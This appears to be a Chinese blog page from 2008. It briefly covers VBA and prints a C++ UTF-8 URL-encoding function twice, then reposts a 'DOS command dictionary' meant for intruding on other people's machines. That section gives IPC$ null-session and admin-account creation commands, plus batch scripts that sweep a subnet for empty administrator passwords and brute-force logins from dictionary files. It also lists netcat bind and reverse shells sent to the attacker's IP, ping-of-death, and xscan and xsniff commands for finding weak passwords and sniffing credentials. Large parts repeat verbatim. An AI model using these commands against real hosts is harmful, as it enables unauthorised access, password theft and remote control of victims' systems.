在VBA代码中，也可以使用很多Excel工作表函数，即使用WorksheetFunction对象调用工作表函数。但是不能使用具有与VBA内置函数功能相同的工作表函数。
(有关内置函数的进一步介绍及应用请见后面的一系列文章)
星期二, 九月 23, 2008
UTF8 URL的字符串转换
网页常常是UTF8的，POST数据时，有中文的话，经常是%XX%XX%XX这种形式
BOOL ConvertStringToURLCoding(CString &strDest, const char* strUTF8, int iLength)
{
strDest.Empty();
CString strTemp;
int i = 0;
while(i < iLength)
{
if ((unsigned)strUTF8[i] <= (unsigned char)0x7f)
{ //字母和数字不转换
if ((strUTF8[i] >= '0' && strUTF8[i] <= '9') ||
(strUTF8[i] >= 'A' && strUTF8[i] <= 'Z') ||
(strUTF8[i] >= 'a' && strUTF8[i] <= 'z'))
{
strDest += (char)strUTF8[i];
}
else if (strUTF8[i] == ' ') //空格转换成+号
{
strDest += '+';
}
else
{
strTemp.Format("%%%02X", (unsigned char)strUTF8[i]); //其他标点符号
strDest += strTemp;
}
i++;
}
else
{ //汉字或者其他的uft8文字，每3个字节一转
strTemp.Format("%%%02X%%%02X%%%02X", (unsigned char)strUTF8[i],
(unsigned char)strUTF8[i + 1], (unsigned char)strUTF8[i + 2]);
strDest += strTemp;
i += 3;
}
}
if (i == 0)
{
return FALSE;
}
return TRUE;
}
BOOL ConvertStringToURLCoding(CString &strDest, const char* strUTF8, int iLength)
{
strDest.Empty();
CString strTemp;
int i = 0;
while(i < iLength)
{
if ((unsigned)strUTF8[i] <= (unsigned char)0x7f)
{ //字母和数字不转换
if ((strUTF8[i] >= '0' && strUTF8[i] <= '9') ||
(strUTF8[i] >= 'A' && strUTF8[i] <= 'Z') ||
(strUTF8[i] >= 'a' && strUTF8[i] <= 'z'))
{
strDest += (char)strUTF8[i];
}
else if (strUTF8[i] == ' ') //空格转换成+号
{
strDest += '+';
}
else
{
strTemp.Format("%%%02X", (unsigned char)strUTF8[i]); //其他标点符号
strDest += strTemp;
}
i++;
}
else
{ //汉字或者其他的uft8文字，每3个字节一转
strTemp.Format("%%%02X%%%02X%%%02X", (unsigned char)strUTF8[i],
(unsigned char)strUTF8[i + 1], (unsigned char)strUTF8[i + 2]);
strDest += strTemp;
i += 3;
}
}
if (i == 0)
{
return FALSE;
}
return TRUE;
}
星期一, 九月 01, 2008
DOS命令字典
DOS命令字典..收藏
net use \\ip\ipc$ "
" /user:" " 建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net
use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H:
net use h: \\ip\c$
登陆后映射对方C：到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del
删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes
激活guest用户 文章转载于精锐联盟07188.CN
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup ***istrators 用户名 /add
把“用户”添加到管理员中使其具有管理员权限,注意：***istrator后加s用复数
net start 查看开启了哪些服务
net start
服务名 开启服务；(如:net start telnet， net start schedule)
net stop 服务名 停止某服务
net
time \\目标ip 查看对方时间
net time \\目标ip /set
设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net
view \\ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net
pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息 文章转载于精锐联盟07188.CN
net ver
局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net
share ipc$ /del 删除ipc$共享
net share c$ /del 删除C：共享
net user guest 12345
用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a
查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况，常用netstat -an
netstat -v
查看正在进行的工作
netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况）
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip
对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写
tracert -参数
ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。
ping ip(或域名)
向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。
ping -t -l
65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows
NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息
tlist -t
以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
kill -F 进程名
加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
del -F 文件名
加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR
*.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
#2 二：
del
/S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q
可取消删除操作时的系统确认就直接删除。（二个命令作用相同）
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名
移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt
对比二个文件并把不同之处输出到3st.txt文件中，"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger
username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip
连接到IP（属telnet登陆后的命令）
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1
路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe
\\ip\***$ 复制本地c:\srv.exe到对方的***下
cppy 1st.jpg/b+2st.txt/a 3st.jpg
将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件
copy \\ip\***$\svv.exe c:\ 或:copy\\ip\***$\*.*
复制对方***i$共享下的srv.exe文件（所有文件）至本地C：
xcopy 要复制的文件或目录树 目标地址\目录名
复制文件和目录树，用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe
c:\server.exe 登陆后，将“IP”的server.exe下载到目标主机c:\server.exe
参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送
tftp -i 对方IP put
c:\server.exe 登陆后，上传本地c:\server.exe至主机
ftp ip 端口
用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时)
route
print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway
addres，接口地址Interface
arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp
-a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令
mem
查看cpu使用情况
attrib 文件名(目录名) 查看某文件（目录）的属性
attrib 文件名 -A -R -S -H 或 +A +R +S
+H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性
dir
查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间
date /t 、
time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间
set
指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符)
显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序，并显示出：请按任意键继续....
if
在批处理程序中执行条件处理（更多说明见if命令及变量）
goto 标签
将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签）
call 路径\批处理文件名
从批处理程序中调用另一个批处理程序 （更多说明见call /?）
for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量）
echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo
信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt
在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值
设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ )
#3 三：
ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS
md 目录名
创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree
以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称 文章转载于精锐联盟07188.CN
type 文件名 显示文本文件的内容
more
文件名 逐屏显示输出文件
doskey 要锁定的命令＝字符
doskey 要解锁命令=
为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey
dir=dir)；解锁：doskey dir=
taskmgr 调出任务管理器
chkdsk /F D:
检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误
tlntadmn
telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit
退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /?
regedit /s
注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示；
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数
显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G
用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls
D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM
文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况
#4 四：
IIS服务命令：
iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现）
iisreset /start或stop
启动（停止）所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset
/status 显示所有Internet服务状态
iisreset /enable或disable
在本地系统上启用（禁用）Internet服务的重新启动
iisreset /rebootonerror
当启动、停止或重新启动Internet服务时，若发生错误将重新开机
iisreset /noforce
若无法停止Internet服务，将不会强制终止Internet服务
iisreset /timeout
Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。
FTP 命令： (后面有详细说明内容)
ftp的命令行格式为:
ftp －v －d －i －n －g[主机名] －v
显示远程服务器的所有响应信息。
－d 使用调试方式。
－n 限制ftp的自动登录,即不使用.netrc文件。
－g 取消全局文件名。
help [命令] 或 ？[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd
列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv
[远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory]
[local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close
中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete
删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
文章转载于精锐联盟07188.CN
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name
删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name
[password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt
交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod
改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote－dir
进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip
#5 五：
MYSQL 命令：
mysql -h主机地址 -u用户名 －p密码
连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。
（例：mysql -h110.110.110.110 -Uroot
-P123456
注:u与root可以不用加空格，其它也一样）
exit 退出MYSQL
mysql*** -u用户名 -p旧密码
password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\";
增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符）
show databases;
显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。
use mysql；
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create
database 库名; 建库
use 库名；
create table 表名 (字段设定列表)； 建表
drop database
库名;
drop table 表名； 删库和删表
delete from 表名; 将表中记录清空
select * from 表名;
显示表中的记录
mysqldump --opt school>school.bbb
备份数据库：（命令在DOS的\\mysql\\bin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。
win2003系统下新增命令（实用部份）：
shutdown /参数 关闭或重启本地或远程主机。
参数说明：/S 关闭主机，/R
重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。
例：shutdown /r /t 0
立即重启本地主机（无延时）
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明：/PID
要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明：/M
列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。
#6 六：
Linux系统下基本命令： 要区分大小写
uname 显示版本信息（同win2K的 ver）
dir 显示当前目录文件,ls
-al 显示包括隐藏文件（同win2K的 dir）
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录，注意cd
与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件，rm -a
目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录，目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who
查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups
查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP
telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。
ftp ftp连接上某服务器（同win2K）
附：批处理命令与变量
1：for命令及变量 基本格式：
FOR /参数 %variable IN (set) DO
command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i
，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。
批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—%9指输入的第2-9个值；例：net
use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3
(set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1
254)”第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；“(1 -1 254)”说明：即从254到1 }
command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：& 来隔开
command_parameters：为特定命令指定参数或命令行开关
IN (set)：指在(set)中取值；DO command
：指执行command
参数：/L 指用增量形式{ (set)为增量形式时 }；/F 指从文件中不断取值，直到取完为止{
(set)为文件时，如(d:\pass.txt)时 }。
用法举例：
@echo off
echo 用法格式：test.bat
*.*.* > test.txt 文章转载于精锐联盟07188.CN
for /L %%G in (1 1 254) do echo
%1.%%G >>test.txt & net use \\%1.%%G /user:***istrator | find "命令成功完成"
>>test.txt
存为test.bat
说明：对指定的一个C类网段的254个IP依次试建立***istrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。
/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；&
用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1
1 254) 指起始值，增长量，结止值。
@echo off
echo 用法格式：ok.bat ip
FOR /F %%i IN
(D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存为：ok.exe
说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。
#7 七：
2：if命令及变量 基本格式：
IF [not] errorlevel 数字 命令语句
如果程序运行最后返回一个等于或大于指定数字的退出编码，指定条件为“真”。
例：IF errorlevel 0 命令
指程序执行后返回的值为0时，就值行后面的命令；IF not errorlevel 1 命令指程序执行最后返回的值不等于1，就执行后面的命令。
0
指发现并成功执行（真）；1 指没有发现、没执行（假）。
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配（即：字符串1 等于
字符串2），就执行后面的命令。
例：“if "%2%"=="4" goto
start”指：如果输入的第二个变量为4时，执行后面的命令（注意：调用变量时就%变量名%并加" "）
IF [not] exist 文件名 命令语句
如果指定的文件名存在，就执行后面的命令。文章转载于精锐联盟07188.CN
例：“if not nc.exe goto
end”指：如果没有发现nc.exe文件就跳到":end"标签处。
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF
[not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上：else
命令语句后指：当前面的条件不成立时，就指行else后面的命令。注意：else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用<
>括起来，因为del命令要单独一行时才能执行，用上< >后就等于是单独一行了；例如：“if exist test.txt. <del
test.txt.> else echo test.txt.missing ”，注意命令中的“.”
（二）系统外部命令(均需下载相关工具)：文章转载于精锐联盟07188.CN
1、瑞士军刀：nc.exe
参数说明：
-h 查看帮助信息
-d 后台模式
-e prog程序重定向，一但连接就执行〔危险〕
-i
secs延时的间隔
-l 监听模式，用于入站连接
-L 监听模式，连接天闭后仍然继续监听，直到CTR+C
-n IP地址，不能用域名
-o film记录16进制的传输
-p[空格]端口 本地端口号
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出，用-vv将更详细
-w数字 timeout延时间隔
-z 将输入，输出关掉（用于扫锚时）
基本用法：
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
nc -l -p 80
开启本机的TCP 80端口并监听
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP
5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354
梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
高级用法：
nc -L -p 80
作为蜜罐用1：开启并不停地监听80端口，直到CTR+C为止
nc -L -p 80 > c:\log.txt
作为蜜罐用2：开启并不停地监听80端口，直到CTR+C,同时把结果输出到c:\log.txt
nc -L -p 80 <
c:\honeyport.txt
作为蜜罐用3-1：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中，亦可起到传送文件作用
type.exe
c:\honeyport | nc -L -p 80
作为蜜罐用3-2：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
本机上用：nc
-l -p 本机端口
在对方主机上用：nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP
-p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
本机上用：nc -d -l -p 本机端口 < 要传送的文件路径及名称
在对方主机上用：nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
备 注：
| 管道命令
< 或 > 重定向命令。“<”，例如：tlntadmn < test.txt
指把test.txt的内容赋值给tlntadmn命令
＠ 表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠dir c:\winnt
>> d:\log.txt 意思是：后台执行dir，并把结果存在d:\log.txt中
>与>>的区别
">"指：覆盖；">>"指：保存到(添加到）。
如：@dir c:\winnt >> d:\log.txt和@dir
c:\winnt >
d:\log.txt二个命令分别执行二次比较看：用>>的则是把二次的结果都保存了，而用：>则只有一次的结果，是因为第二次的结果把第一次的覆盖了。
#8 八：
2、扫锚工具：xscan.exe
基本格式
xscan -host
<起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
xscan
-file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息
检测项目
-active 检测主机是否存活
-os 检测远程操作系统类型（通过NETBIOS和SNMP协议）
-port 检测常用服务的端口状态
-ftp 检测FTP弱口令
-pub 检测FTP服务匿名用户写权限
-pop3 检测POP3-Server弱口令
-smtp
检测SMTP-Server漏洞
-sql 检测SQL-Server弱口令
-smb 检测NT-Server弱口令
-iis
检测IIS编码/解码漏洞
-cgi 检测CGI漏洞
-nasl 加载Nessus攻击脚本
-all 检测以上所有项目
其它选项
-i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
-l 显示所有网络适配器
-v 显示详细扫描进度
-p 跳过没有响应的主机
-o 跳过没有检测到开放端口的主机
-t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量,
默认数量为100,10
-log 文件名 指定扫描报告文件名 (后缀为：TXT或HTML格式的文件) 文章转载于精锐联盟07188.CN
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p
检测192.168.1.1-192.168.255.255网段内主机的所有漏洞，跳过无响应的主机
xscan -host
192.168.1.1-192.168.255.255 -port -smb -t 150 -o
检测192.168.1.1-192.168.255.255网段内主机的标准端口状态，NT弱口令用户，最大并发线程数量为150，跳过没有检测到开放端口的主机
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o
检测“hostlist.txt”文件中列出的所有主机的标准端口状态，CGI漏洞，最大并发线程数量为200，同一时刻最多检测5台主机，显示详细检测进度，跳过没有检测到开放端口的主机
#9 九：文章转载于精锐联盟07188.CN
3、命令行方式嗅探器: xsniff.exe
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明
-tcp 输出TCP数据报
-udp 输出UDP数据报
-icmp 输出ICMP数据报
-pass 过滤密码信息
-hide 后台运行
-host 解析主机名
-addr
IP地址 过滤IP地址
-port 端口 过滤端口
-log 文件名 将输出保存到文件
-asc 以ASCII形式输出
-hex
以16进制形式输出
用法示例
xsniff.exe -pass -hide -log pass.log
后台运行嗅探密码并将密码信息保存在pass.lo
net use \\ip\ipc$ "
" /user:" " 建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net
use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H:
net use h: \\ip\c$
登陆后映射对方C：到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del
删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes
激活guest用户 文章转载于精锐联盟07188.CN
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup ***istrators 用户名 /add
把“用户”添加到管理员中使其具有管理员权限,注意：***istrator后加s用复数
net start 查看开启了哪些服务
net start
服务名 开启服务；(如:net start telnet， net start schedule)
net stop 服务名 停止某服务
net
time \\目标ip 查看对方时间
net time \\目标ip /set
设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net
view \\ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net
pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息 文章转载于精锐联盟07188.CN
net ver
局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net
share ipc$ /del 删除ipc$共享
net share c$ /del 删除C：共享
net user guest 12345
用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a
查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况，常用netstat -an
netstat -v
查看正在进行的工作
netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况）
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip
对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写
tracert -参数
ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。
ping ip(或域名)
向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。
ping -t -l
65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows
NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息
tlist -t
以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
kill -F 进程名
加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
del -F 文件名
加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR
*.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
#2 二：
del
/S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q
可取消删除操作时的系统确认就直接删除。（二个命令作用相同）
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名
移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt
对比二个文件并把不同之处输出到3st.txt文件中，"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger
username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip
连接到IP（属telnet登陆后的命令）
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1
路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe
\\ip\***$ 复制本地c:\srv.exe到对方的***下
cppy 1st.jpg/b+2st.txt/a 3st.jpg
将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件
copy \\ip\***$\svv.exe c:\ 或:copy\\ip\***$\*.*
复制对方***i$共享下的srv.exe文件（所有文件）至本地C：
xcopy 要复制的文件或目录树 目标地址\目录名
复制文件和目录树，用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe
c:\server.exe 登陆后，将“IP”的server.exe下载到目标主机c:\server.exe
参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送
tftp -i 对方IP put
c:\server.exe 登陆后，上传本地c:\server.exe至主机
ftp ip 端口
用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时)
route
print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway
addres，接口地址Interface
arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp
-a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令
mem
查看cpu使用情况
attrib 文件名(目录名) 查看某文件（目录）的属性
attrib 文件名 -A -R -S -H 或 +A +R +S
+H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性
dir
查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间
date /t 、
time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间
set
指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符)
显示出当前以字符p(或其它字符)开头的所有环境变量
